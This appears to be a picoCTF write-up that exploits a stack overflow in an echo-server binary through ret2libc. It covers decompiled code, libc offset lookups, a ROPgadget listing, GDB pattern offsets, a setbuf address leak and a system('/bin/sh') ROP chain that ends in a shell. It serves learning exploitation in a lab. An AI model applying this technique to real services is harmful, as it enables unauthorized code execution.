Here’s a Libc

Binary Exploitation

Video: https://www.youtube.com/watch?v=tMN5N5oid2c

The binary is a simple echo server that creates a sequence where the first letter is a capital and next letter is in lower case for all pairs of characters in the user input.

Exploiting the binary involves overflowing the stack to gain control of the instruction pointer and spawn a remote shell.  it is not possible to input shell code and run it off the stack so ROP gadgets can be used which involves having the program run existing code in the binary to gain remote access. 

A ROP gadget always has a RET instruction at the end of a sequence of instructions which can be found in the binary.  The RET instruction pops the next value from the stack into the instruction pointer.   If you manage to input a ROP chain on to the stack and call the ROP chain from the binary,  the code in the ROP chain will be executed. 

The exploit has three parts: 

  1. Find buffer length to control instruction pointer.
  2. Leak a LIBC address using a ROP gadget.
  3. Use another ROP to get a remote shell.

Executable code – using Ghidra to decompile the binary.

uint convert_case(byte param_1,ulong param_2)

{
  uint uVar1;
 
  if (((char)param_1 < ‘a’) || (‘z’ < (char)param_1)) {
    if (((char)param_1 < ‘A’) || (‘Z’ < (char)param_1)) {
      uVar1 = (uint)param_1;
    }
    else {
      if ((param_2 & 1) == 0) {
        uVar1 = (uint)param_1;
      }
      else {
        uVar1 = param_1 + 0x20;   <- convert to lower case
      }
    }
  }
  else {
    if ((param_2 & 1) == 0) {
      uVar1 = param_1 – 0x20;  <- convert to upper case
    }
    else {
      uVar1 = (uint)param_1;
    }
  }
  return uVar1;
}

*—————————————————————-

void main(undefined4 param_1,undefined8 param_2)

{
  char cVar1;
  char acStack168 [24];
  undefined8 uStack144;
  undefined8 local_88;
  undefined4 local_7c;
  undefined8 local_78;
  undefined8 local_70;
  undefined8 local_68;
  undefined2 local_60;
  undefined local_5e;
  char *local_50;
  undefined8 local_48;
  ulong local_40;
  __gid_t local_34;
  ulong local_30;
 
  uStack144 = 0x40079c;
  local_88 = param_2;
  local_7c = param_1;
  setbuf(stdout,(char *)0x0);
  uStack144 = 0x4007a1;
  local_34 = getegid();
  uStack144 = 0x4007bb;
  setresgid(local_34,local_34,local_34);
  local_40 = 0x1b;
  local_78 = 0x20656d6f636c6557;
  local_70 = 0x636520796d206f74;
  local_68 = 0x6576726573206f68;
  local_60 = 0x2172;
  local_5e = 0;
  local_48 = 0x1a;
  local_50 = acStack168;
  local_30 = 0;
  while (local_30 < local_40) {       <- loops 28 times
    cVar1 = convert_case((int)*(char *)((long)&local_78 + local_30),local_30,local_30);
    local_50[local_30] = cVar1;
    local_30 = local_30 + 1;
  }
  puts(local_50); 
  do {
    do_stuff();   <- core function for the binary
  } while( true );
}

*——————————————————————————-
void do_stuff(void)

{
  char cVar1;
  undefined local_89;
  char local_88 [112];
  undefined8 local_18;
  ulong local_10;
 
  local_18 = 0;
  __isoc99_scanf(“%[^\n]”,local_88);  <-read all characters up until the newline
  __isoc99_scanf(&DAT_0040093a,&local_89);  <-read the newline
  local_10 = 0;
  while (local_10 < 100) {   <- loops 100 times
    cVar1 = convert_case((int)local_88[local_10],local_10,local_10);
    local_88[local_10] = cVar1;   <- save current converted character
    local_10 = local_10 + 1;
  }
  puts(local_88);    <- prints converted input
  return;
}

GLIBC Address Offsets.

The address of glibc functions will be different every time the binary is executed so we need to calculate the real address in the exploit. Each address is relative to the glibc memory base address so the offset from the base address is what is required.

The offset of System is found using-

(i) Readelf

hamishk@ubuntu204:~/picoctf/hereisalibc$ readelf -s libc.so.6 | grep system
   232: 000000000015a020    99 FUNC    GLOBAL DEFAULT   13 svcerr_systemerr@@GLIBC_2.2.5
   607: 000000000004f4e0    45 FUNC    GLOBAL DEFAULT   13 __libc_system@@GLIBC_PRIVATE
  1403: 000000000004f4e0    45 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.2.5

(ii) Ghidra

 

The offset of setbuf can be found using-

(i) Readelf

hamishk@ubuntu204:~/picoctf/hereisalibc$ readelf -s libc.so.6 | grep setbuf
    30: 000000000008a8c0    47 FUNC    GLOBAL DEFAULT   13 _IO_file_setbuf@@GLIBC_2.2.5
   239: 00000000000811c0   412 FUNC    WEAK   DEFAULT   13 setbuffer@@GLIBC_2.2.5
   910: 00000000000811c0   412 FUNC    GLOBAL DEFAULT   13 _IO_setbuffer@@GLIBC_2.2.5
  2185: 0000000000088540    10 FUNC    GLOBAL DEFAULT   13 setbuf@@GLIBC_2.2.5

(ii) Ghidra

The offset of /bin/sh found using a different technique since we are looking for the location of the string –

(i) Objdump

hamishk@ubuntu204:~/picoctf/hereisalibc$ objdump -S -j .rodata libc.so.6 | grep /bin/sh
  1b40f4:	20 31 00 2d 63 00 2f 62 69 6e 2f 73 68 00 65 78      1.-c./bin/sh.ex

The memory address is calculated by adding the number of bytes from the start of the line.

>>> hex(0x1b40f4 + 6)
‘0x1b40fa’

(ii)Ghidra

 

VULN Address Offsets.

The address of setbuf can be found .got.plt section in Ghidra.  We want to print the current memory address of setbuf() instead of running it-

 

The address of puts can be found in the .plt section in Ghidra.  Use this value because the binary needs to execute puts() –

 

The address of main can be found using-

(i) Readelf

hamishk@ubuntu204:~/picoctf/hereisalibc$ readelf -s vuln | grep main
     4: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.2.5 (2)
    52: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@@GLIBC_
    63: 0000000000400771   305 FUNC    GLOBAL DEFAULT   13 main

(ii) Ghidra

ROP Gadgets

hamishk@ubuntu204:~/picoctf/hereisalibc$ ROPgadget --binary vuln 
Gadgets information
============================================================
0x00000000004005ee : adc byte ptr [rax], ah ; jmp rax
0x00000000004005b9 : add ah, dh ; nop dword ptr [rax + rax] ; ret
0x0000000000400587 : add al, 0 ; add byte ptr [rax], al ; jmp 0x400530
0x00000000004006d1 : add al, 0xf ; mov dh, 0x45 ; cld ; pop rbp ; ret
0x0000000000400567 : add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x400530
0x00000000004005bf : add bl, dh ; ret
0x000000000040091d : add byte ptr [rax], al ; add bl, dh ; ret
0x000000000040091b : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x0000000000400547 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x400530
0x0000000000400722 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x40075b
0x0000000000400847 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x400880
0x000000000040066c : add byte ptr [rax], al ; add byte ptr [rax], al ; push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x400600
0x000000000040091c : add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x000000000040066d : add byte ptr [rax], al ; add byte ptr [rbp + 0x48], dl ; mov ebp, esp ; pop rbp ; jmp 0x400600
0x0000000000400549 : add byte ptr [rax], al ; jmp 0x400530
0x0000000000400724 : add byte ptr [rax], al ; jmp 0x40075b
0x0000000000400849 : add byte ptr [rax], al ; jmp 0x400880
0x00000000004005f6 : add byte ptr [rax], al ; pop rbp ; ret
0x000000000040066e : add byte ptr [rax], al ; push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x400600
0x00000000004005be : add byte ptr [rax], al ; ret
0x00000000004005f5 : add byte ptr [rax], r8b ; pop rbp ; ret
0x00000000004005bd : add byte ptr [rax], r8b ; ret
0x000000000040066f : add byte ptr [rbp + 0x48], dl ; mov ebp, esp ; pop rbp ; jmp 0x400600
0x0000000000400657 : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000400557 : add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x400530
0x0000000000400658 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
0x00000000004006c7 : add eax, 0x20 ; jmp 0x4006d6
0x0000000000400577 : add eax, dword ptr [rax] ; add byte ptr [rax], al ; jmp 0x400530
0x000000000040052b : add esp, 8 ; ret
0x000000000040052a : add rsp, 8 ; ret
0x00000000004006c9 : and bl, ch ; or cl, byte ptr [rdi] ; mov dh, 0x45 ; cld ; jmp 0x4006d6
0x00000000004005b8 : and byte ptr [rax], al ; hlt ; nop dword ptr [rax + rax] ; ret
0x0000000000400544 : and byte ptr [rax], al ; push 0 ; jmp 0x400530
0x0000000000400554 : and byte ptr [rax], al ; push 1 ; jmp 0x400530
0x0000000000400564 : and byte ptr [rax], al ; push 2 ; jmp 0x400530
0x0000000000400574 : and byte ptr [rax], al ; push 3 ; jmp 0x400530
0x0000000000400584 : and byte ptr [rax], al ; push 4 ; jmp 0x400530
0x0000000000400521 : and byte ptr [rax], al ; test rax, rax ; je 0x40052a ; call rax
0x000000000040076d : call qword ptr [rax + 0x4855c3c9]
0x0000000000400977 : call qword ptr [rax]
0x0000000000400528 : call rax
0x0000000000400721 : clc ; add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x40075b
0x00000000004006c6 : cld ; add eax, 0x20 ; jmp 0x4006d6
0x000000000040069f : cld ; jmp 0x4006d6
0x00000000004006d5 : cld ; pop rbp ; ret
0x00000000004006a5 : cld ; sub eax, 0x20 ; jmp 0x4006d6
0x000000000040071d : dec dword ptr [rax - 0x39] ; clc ; add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x40075b
0x00000000004008fc : fmul qword ptr [rax - 0x7d] ; ret
0x00000000004005ba : hlt ; nop dword ptr [rax + rax] ; ret
0x0000000000400673 : in eax, 0x5d ; jmp 0x400600
0x0000000000400526 : je 0x40052a ; call rax
0x00000000004005e9 : je 0x4005f8 ; pop rbp ; mov edi, 0x601050 ; jmp rax
0x000000000040062b : je 0x400638 ; pop rbp ; mov edi, 0x601050 ; jmp rax
0x000000000040069a : je 0x4006a2 ; movzx eax, byte ptr [rbp - 4] ; jmp 0x4006d6
0x00000000004006c1 : je 0x4006cc ; movzx eax, byte ptr [rbp - 4] ; add eax, 0x20 ; jmp 0x4006d6
0x000000000040054b : jmp 0x400530
0x0000000000400675 : jmp 0x400600
0x00000000004006a0 : jmp 0x4006d6
0x0000000000400726 : jmp 0x40075b
0x000000000040084b : jmp 0x400880
0x00000000004008a0 : jmp 0x400896
0x00000000004009f3 : jmp qword ptr [rax]
0x0000000000400a83 : jmp qword ptr [rbp]
0x0000000000400a1b : jmp qword ptr [rcx]
0x00000000004005f1 : jmp rax
0x000000000040076f : leave ; ret
0x0000000000400652 : mov byte ptr [rip + 0x2009ff], 1 ; pop rbp ; ret
0x00000000004006c4 : mov dh, 0x45 ; cld ; add eax, 0x20 ; jmp 0x4006d6
0x000000000040069d : mov dh, 0x45 ; cld ; jmp 0x4006d6
0x00000000004006d3 : mov dh, 0x45 ; cld ; pop rbp ; ret
0x00000000004006a3 : mov dh, 0x45 ; cld ; sub eax, 0x20 ; jmp 0x4006d6
0x0000000000400582 : mov dl, 0xa ; and byte ptr [rax], al ; push 4 ; jmp 0x400530
0x0000000000400844 : mov dword ptr [rbp - 0x28], 0 ; jmp 0x400880
0x000000000040071f : mov dword ptr [rbp - 8], 0 ; jmp 0x40075b
0x0000000000400842 : mov eax, 0xd845c748 ; add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x400880
0x0000000000400672 : mov ebp, esp ; pop rbp ; jmp 0x400600
0x00000000004005ec : mov edi, 0x601050 ; jmp rax
0x0000000000400572 : mov edx, 0x6800200a ; add eax, dword ptr [rax] ; add byte ptr [rax], al ; jmp 0x400530
0x0000000000400843 : mov qword ptr [rbp - 0x28], 0 ; jmp 0x400880
0x000000000040071e : mov qword ptr [rbp - 8], 0 ; jmp 0x40075b
0x0000000000400671 : mov rbp, rsp ; pop rbp ; jmp 0x400600
0x00000000004006c3 : movzx eax, byte ptr [rbp - 4] ; add eax, 0x20 ; jmp 0x4006d6
0x000000000040069c : movzx eax, byte ptr [rbp - 4] ; jmp 0x4006d6
0x00000000004006d2 : movzx eax, byte ptr [rbp - 4] ; pop rbp ; ret
0x00000000004006a2 : movzx eax, byte ptr [rbp - 4] ; sub eax, 0x20 ; jmp 0x4006d6
0x000000000040076e : nop ; leave ; ret
0x00000000004005f3 : nop dword ptr [rax + rax] ; pop rbp ; ret
0x00000000004005bb : nop dword ptr [rax + rax] ; ret
0x0000000000400635 : nop dword ptr [rax] ; pop rbp ; ret
0x00000000004006cb : or cl, byte ptr [rdi] ; mov dh, 0x45 ; cld ; jmp 0x4006d6
0x0000000000400655 : or dword ptr [rax], esp ; add byte ptr [rcx], al ; pop rbp ; ret
0x00000000004006c2 : or dword ptr [rdi], ecx ; mov dh, 0x45 ; cld ; add eax, 0x20 ; jmp 0x4006d6
0x000000000040062c : or ebx, dword ptr [rbp - 0x41] ; push rax ; adc byte ptr [rax], ah ; jmp rax
0x000000000040090c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040090e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400910 : pop r14 ; pop r15 ; ret
0x0000000000400912 : pop r15 ; ret
0x0000000000400674 : pop rbp ; jmp 0x400600
0x00000000004005eb : pop rbp ; mov edi, 0x601050 ; jmp rax
0x000000000040090b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040090f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004005f8 : pop rbp ; ret
0x0000000000400913 : pop rdi ; ret
0x0000000000400911 : pop rsi ; pop r15 ; ret
0x000000000040090d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400546 : push 0 ; jmp 0x400530
0x0000000000400556 : push 1 ; jmp 0x400530
0x0000000000400566 : push 2 ; jmp 0x400530
0x0000000000400576 : push 3 ; jmp 0x400530
0x0000000000400586 : push 4 ; jmp 0x400530
0x00000000004005ed : push rax ; adc byte ptr [rax], ah ; jmp rax
0x0000000000400670 : push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x400600
0x000000000040052e : ret
0x0000000000400562 : ret 0x200a
0x00000000004007fd : ret 0x8348
0x0000000000400552 : retf 0x200a
0x0000000000400542 : ror byte ptr [rdx], cl ; and byte ptr [rax], al ; push 0 ; jmp 0x400530
0x00000000004005e8 : sal byte ptr [rbp + rcx + 0x5d], 0xbf ; push rax ; adc byte ptr [rax], ah ; jmp rax
0x000000000040062a : sal byte ptr [rbx + rcx + 0x5d], 0xbf ; push rax ; adc byte ptr [rax], ah ; jmp rax
0x0000000000400525 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x0000000000400699 : sal byte ptr [rsi + rax + 0xf], 0xb6 ; cld ; jmp 0x4006d6
0x00000000004006c8 : shl byte ptr [rax], 0xeb ; or cl, byte ptr [rdi] ; mov dh, 0x45 ; cld ; jmp 0x4006d6
0x00000000004006a6 : sub eax, 0x20 ; jmp 0x4006d6
0x0000000000400925 : sub esp, 8 ; add rsp, 8 ; ret
0x0000000000400924 : sub rsp, 8 ; add rsp, 8 ; ret
0x000000000040091a : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x0000000000400524 : test eax, eax ; je 0x40052a ; call rax
0x0000000000400698 : test eax, eax ; je 0x4006a2 ; movzx eax, byte ptr [rbp - 4] ; jmp 0x4006d6
0x0000000000400523 : test rax, rax ; je 0x40052a ; call rax
0x0000000000400697 : test rax, rax ; je 0x4006a2 ; movzx eax, byte ptr [rbp - 4] ; jmp 0x4006d6
0x00000000004006a1 : xor al, 0xf ; mov dh, 0x45 ; cld ; sub eax, 0x20 ; jmp 0x4006d6

Unique gadgets found: 131

 

Binary Debugging – using GEF (GDB) to analyse the execution of the program.

The payloads for the exploits need to overflow the buffer so that the Instruction Pointer can be controlled.  Test input can be used to determine the amount of padding required in any input so that real instructions can be executed.

Step 1. Find buffer overflow padding required.

Run the patched binary in GDB to find out what causes the program to crash:

gef➤  r
Starting program: /home/hamishk/picoctf/hereisalibc/vuln_patched 
WeLcOmE To mY EcHo sErVeR!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAAAAAAAAAAAAAAAAAAAAd

Program received signal SIGSEGV, Segmentation fault.
0x0000000000400770 in do_stuff ()

The Segmentation fault occurs at the RET instruction.  The memory address on the stack that is put in the Instruction Pointer is checked to confirm it is valid.  In this case, the check fails.

To find out how many characters we need to cause the fault, generate a character sequence that can be used to get our desired output in GDB then copy and paste as input to the program:

gef➤  pattern create 200
[+] Generating a pattern of 200 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
[+] Saved as '$_gef0'
gef➤  r
Starting program: /home/hamishk/picoctf/hereisalibc/vuln_patched 
WeLcOmE To mY EcHo sErVeR!
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
AaAaBaAaCaAaDaAaEaAaFaAaGaAaHaAaIaAaJaAaKaAaLaAaMaAaNaAaOaAaPaAaQaAaRaAaSaAaTaAaUaAaVaAaWaAaXaAaYaAazaabbaabcaabdaabeaabd

Program received signal SIGSEGV, Segmentation fault.
0x0000000000400770 in do_stuff ()

Now we get the padding value using:

gef➤  pattern offset $rsp
[+] Searching for '$rsp'
[+] Found at offset 136 (little-endian search) likely

Step 2. Leak a LIBC address.

Create an input payload to leak a memory address in libc.  Set breakpoint in GDB:

gef➤  b *0x400770
Breakpoint 1 at 0x400770

 

Program pauses just before ROP chain is executed.  The stack pointer $rsp points to the first gadget (pop rdi).  This will be the next instruction in the instruction pointer $rip.

 

 

The whole payload can be seen in memory.  The input has overflowed so that the first ROP gadget is at the top of the stack.

gef➤  telescope $rsp-144 24
0x00007ffddbf10c88│+0x0000: 0x0a007fcecf2befc1
0x00007ffddbf10c90│+0x0008: "AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAa[...]"
0x00007ffddbf10c98│+0x0010: "AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAa[...]"
0x00007ffddbf10ca0│+0x0018: "AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAa[...]"
0x00007ffddbf10ca8│+0x0020: "AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAa[...]"
0x00007ffddbf10cb0│+0x0028: "AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAa[...]"
0x00007ffddbf10cb8│+0x0030: "AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAa[...]"
0x00007ffddbf10cc0│+0x0038: "AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAa[...]"
0x00007ffddbf10cc8│+0x0040: "AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAAAAAA[...]"
0x00007ffddbf10cd0│+0x0048: "AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAAAAAAAAAAAAAA[...]"
0x00007ffddbf10cd8│+0x0050: "AaAaAaAaAaAaAaAaAaAaAaAaAaAaAAAAAAAAAAAAAAAAAAAAd"
0x00007ffddbf10ce0│+0x0058: "AaAaAaAaAaAaAaAaAaAaAAAAAAAAAAAAAAAAAAAAd"
0x00007ffddbf10ce8│+0x0060: "AaAaAaAaAaAaAAAAAAAAAAAAAAAAAAAAd"
0x00007ffddbf10cf0│+0x0068: "AaAaAAAAAAAAAAAAAAAAAAAAd"
0x00007ffddbf10cf8│+0x0070: "AAAAAAAAAAAAAAAAd"
0x00007ffddbf10d00│+0x0078: "AAAAAAAAd"
0x00007ffddbf10d08│+0x0080: 0x0000000000000064 ("d"?)
0x00007ffddbf10d10│+0x0088: 0x4141414141414141
0x00007ffddbf10d18│+0x0090: 0x0000000000400913<__libc_csu_init+99> pop rdi	 ← $rsp
0x00007ffddbf10d20│+0x0098: 0x0000000000601028  →  0x00007fcecf2ba540<setbuf+0> mov edx, 0x2000
0x00007ffddbf10d28│+0x00a0: 0x0000000000400540<puts@plt+0> jmp QWORD PTR [rip+0x200ad2]        # 0x601018 <puts@got.plt>
0x00007ffddbf10d30│+0x00a8: 0x0000000000400771<main+0> push rbp
0x00007ffddbf10d38│+0x00b0: 0x0000000000002100
0x00007ffddbf10d40│+0x00b8: 0x00007ffddbf10ea80x00007ffddbf1243a"./vuln_patched"

 

The ret instruction has put pop rdi in the instruction pointer $rip.  Now setbuf is at the top of the stack.

 

The memory address of setbuf now in $rdi register ready for the call to puts.

Puts is now called.  Memory address of main is now on the

Libc address of setbuf printed.

[+] Starting local process './vuln_patched': pid 14173
[*] running in new terminal: ['/bin/gdb', '-q', './vuln_patched', '14173']
[+] Waiting for debugger: Done
[*] hex(leak)='0x7fcecf2ba540'
[*] hex(base_address_of_libc)='0x7fcecf232000'

 

Step 3.  Gain remote shell

Second payload with new ROP chain. Again pop rdi is at the top of the stack.


The whole payload of the second ROP chain can be seen in memory.

gef➤  telescope $rsp-144 24
0x00007ffddbf10bf8│+0x0000: 0x0a007fcecf2befc1
0x00007ffddbf10c00│+0x0008: "AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAa[...]"
0x00007ffddbf10c08│+0x0010: "AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAa[...]"
0x00007ffddbf10c10│+0x0018: "AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAa[...]"
0x00007ffddbf10c18│+0x0020: "AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAa[...]"
0x00007ffddbf10c20│+0x0028: "AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAa[...]"
0x00007ffddbf10c28│+0x0030: "AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAa[...]"
0x00007ffddbf10c30│+0x0038: "AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAa[...]"
0x00007ffddbf10c38│+0x0040: "AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAAAAAA[...]"
0x00007ffddbf10c40│+0x0048: "AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAAAAAAAAAAAAAA[...]"
0x00007ffddbf10c48│+0x0050: "AaAaAaAaAaAaAaAaAaAaAaAaAaAaAAAAAAAAAAAAAAAAAAAAd"
0x00007ffddbf10c50│+0x0058: "AaAaAaAaAaAaAaAaAaAaAAAAAAAAAAAAAAAAAAAAd"
0x00007ffddbf10c58│+0x0060: "AaAaAaAaAaAaAAAAAAAAAAAAAAAAAAAAd"
0x00007ffddbf10c60│+0x0068: "AaAaAAAAAAAAAAAAAAAAAAAAd"
0x00007ffddbf10c68│+0x0070: "AAAAAAAAAAAAAAAAd"
0x00007ffddbf10c70│+0x0078: "AAAAAAAAd"
0x00007ffddbf10c78│+0x0080: 0x0000000000000064 ("d"?)
0x00007ffddbf10c80│+0x0088: 0x4141414141414141
0x00007ffddbf10c88│+0x0090: 0x0000000000400913<__libc_csu_init+99> pop rdi	 ← $rsp
0x00007ffddbf10c90│+0x0098: 0x00007fcecf3e60fa  →  0x0068732f6e69622f ("/bin/sh"?)
0x00007ffddbf10c98│+0x00a0: 0x000000000040052e<_init+22> ret 
0x00007ffddbf10ca0│+0x00a8: 0x00007fcecf2814e0<system+0> test rdi, rdi
0x00007ffddbf10ca8│+0x00b0: 0x0000000000002100
0x00007ffddbf10cb0│+0x00b8: 0x00007fcecf61e7e3  →  0x61f8c0000000000a

The first ROP gadget in now in the instruction pointer $rip.

The $rdi register now has the /bin/sh string ready for the system call.

The ret instruction used for stack alignment. The system call is now at the top of the stack.

The remote shell is opened.
[*] Switching to interactive mode
WeLcOmE To mY EcHo sErVeR!
AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAAAAAAAAAAAAAAAAAAAAd
$ id
uid=1000(hamishk) gid=1000(hamishk) groups=1000(hamishk),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare)
$ ls
attacklocal.py    connect.sh  flag.txt    libc.so.6  pwnsol.py  vuln
attack.py    core        ld-2.27.so    Makefile   solve.py   vuln_patched
$